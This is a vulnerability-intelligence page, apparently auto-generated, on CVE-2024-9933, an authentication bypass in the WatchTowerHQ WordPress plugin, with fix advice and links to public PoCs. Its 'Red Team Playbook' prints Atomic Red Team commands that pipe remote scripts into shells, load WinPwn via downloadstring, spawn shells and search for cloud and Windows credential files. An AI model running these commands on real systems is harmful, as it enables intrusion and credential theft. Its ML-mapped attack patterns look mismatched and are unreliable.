CVE-2024-9933
Overview
This vulnerability is an authentication bypass affecting the WatchTowerHQ plugin for WordPress. The root cause lies in the 'Password_Less_Access::login' function where the 'watchtower_ota_token' parameter defaults to an empty value and lacks a proper non-empty validation check. Consequently, the authentication mechanism fails to verify the token, allowing unauthorized access to the administrator user component of the WatchTowerHQ client.
Vulnerability Description
The WatchTowerHQ plugin for WordPress is vulnerable to authentication bypass in versions up to, and including, 3.10.1. This is due to the 'watchtower_ota_token' default value is empty, and the not empty check is missing in the 'Password_Less_Access::login' function. This makes it possible for unauthenticated attackers to log in to the WatchTowerHQ client administrator user.
Impact
An unauthenticated attacker can exploit this vulnerability remotely to log in as the WatchTowerHQ client administrator user, gaining full administrative privileges. No prior authentication, user interaction, or special privileges are required, as indicated by the CVSS vector (AV:N/AC:L/PR:N/UI:N). This access could lead to unauthorized control over the plugin’s monitoring and management capabilities, potentially compromising the integrity and confidentiality of the monitored WordPress environment.
Solution
Users of the WatchTowerHQ WordPress plugin should upgrade to a version later than 3.10.1 where the authentication bypass has been addressed. The Wordfence advisory linked in the references provides detailed patch information, and the WordPress plugin repository changeset 3177064 includes the corrected token validation logic. Applying this update will enforce proper non-empty checks on the 'watchtower_ota_token' parameter, mitigating the authentication bypass.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability in the WatchTowerHQ plugin for WordPress arises from an authentication bypass due to inadequate validation of the 'watchtower_ota_token'. Specifically, the default value for this token is empty, and the absence of a proper check for a non-empty value in the 'Password_Less_Access::login' function allows unauthorized access. This flaw permits attackers to bypass authentication mechanisms, enabling them to log in as the administrator of the WatchTowerHQ client without any valid credentials. The oversight in the code signifies a critical lapse in security practices, particularly in the handling of authentication tokens, which are essential for safeguarding access to sensitive administrative functions.
Exploitation of this vulnerability can occur through various attack vectors. An attacker could leverage automated scripts or tools to send requests to the login endpoint of the WatchTowerHQ plugin. Given that the authentication mechanism fails to validate the token properly, the attacker could gain administrative access without needing to provide any legitimate credentials. This scenario poses a significant risk, as it allows an attacker to manipulate the plugin's settings, access sensitive data, and potentially compromise the entire WordPress installation. Furthermore, the ease of exploitation, combined with the widespread use of WordPress and its plugins, amplifies the potential for mass exploitation across numerous sites.
The real-world impact of this vulnerability can be profound, particularly for organizations relying on the WatchTowerHQ plugin for critical operations. Unauthorized access to the administrative interface could lead to data breaches, unauthorized changes to configurations, and the installation of malicious code. The implications extend beyond immediate data loss; they can include reputational damage, loss of customer trust, and potential legal ramifications due to non-compliance with data protection regulations. Businesses may face significant financial repercussions, including costs associated with incident response, remediation efforts, and potential fines from regulatory bodies.
To detect and mitigate this vulnerability, organizations should first ensure that they are using the latest version of the WatchTowerHQ plugin, as updates typically include patches for known vulnerabilities. Regular security audits and code reviews can help identify similar issues in other plugins or custom code. Implementing web application firewalls (WAFs) can provide an additional layer of security by filtering out malicious requests before they reach the application. Furthermore, organizations should enforce strong authentication practices, such as multi-factor authentication, to reduce the risk of unauthorized access even if an attacker manages to exploit vulnerabilities. Continuous monitoring of login attempts and user activity can also aid in the early detection of suspicious behavior, allowing for timely intervention.
In conclusion, the authentication bypass vulnerability in the WatchTowerHQ plugin represents a significant threat to WordPress installations that utilize this plugin. The combination of ease of exploitation, potential for widespread impact, and the critical nature of administrative access underscores the importance of robust security practices. Organizations must remain vigilant, prioritize timely updates, and implement comprehensive security measures to safeguard their digital assets against such vulnerabilities.
Affected Products
No CPE information available.
Disclaimer
The exploits, modules, and proof-of-concept (PoC) code listed in this section are automatically collected from public repositories, including GitHub, ExploitDB, and Metasploit Framework.
CSURFACE is not the author, maintainer, or responsible party for any of this code. The content may contain malicious code, backdoors, or undocumented behavior.
By accessing any external link or executing any referenced code, you assume full responsibility for the risks involved. We strongly recommend:
- Only execute in isolated environments (sandbox/VM)
- Review source code before any execution
- Do not use against systems without explicit authorization
- Comply with all applicable local laws and regulations
GitHub PoCs (2)
| Repository | Author | Stars | Forks | Date | Link |
|---|---|---|---|---|---|
|
Nxploited/CVE-2024-9933
|
Nxploited | 0 | 0 | 2024-12-27 | View |
|
RandomRobbieBF/CVE-2024-9933
WatchTowerHQ <= 3.10.1 - Authentication Bypass to Administrator due to Missing Empty Value Check
|
RandomRobbieBF | 0 | 0 | 2024-11-05 | View |
Threat Feed
1 eventsProof-of-concept code is publicly available for this vulnerability
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
| ID | Name | ML Conf. | Likelihood | Severity | Link |
|---|---|---|---|---|---|
| CAPEC-665 | Exploitation of Thunderbolt Protection Flaws |
40%
|
Low | Very High | |
| CAPEC-127 | Directory Indexing |
30%
|
High | Medium |
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (4)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2024-9933 |
| wordfence.com |
GitHub CVE
|
https://www.wordfence.com/threat-intel/vulnerabilities/id/50349086-e7b0-4f73-8722-1367cc05180e?source=cve |
| plugins.trac.wordpress.org |
GitHub CVE
|
https://plugins.trac.wordpress.org/browser/watchtowerhq/tags/3.9.6/src/Password_Less_Access.php#L56 |
| plugins.trac.wordpress.org |
GitHub CVE
|
https://plugins.trac.wordpress.org/changeset/3177064/watchtowerhq#file2 |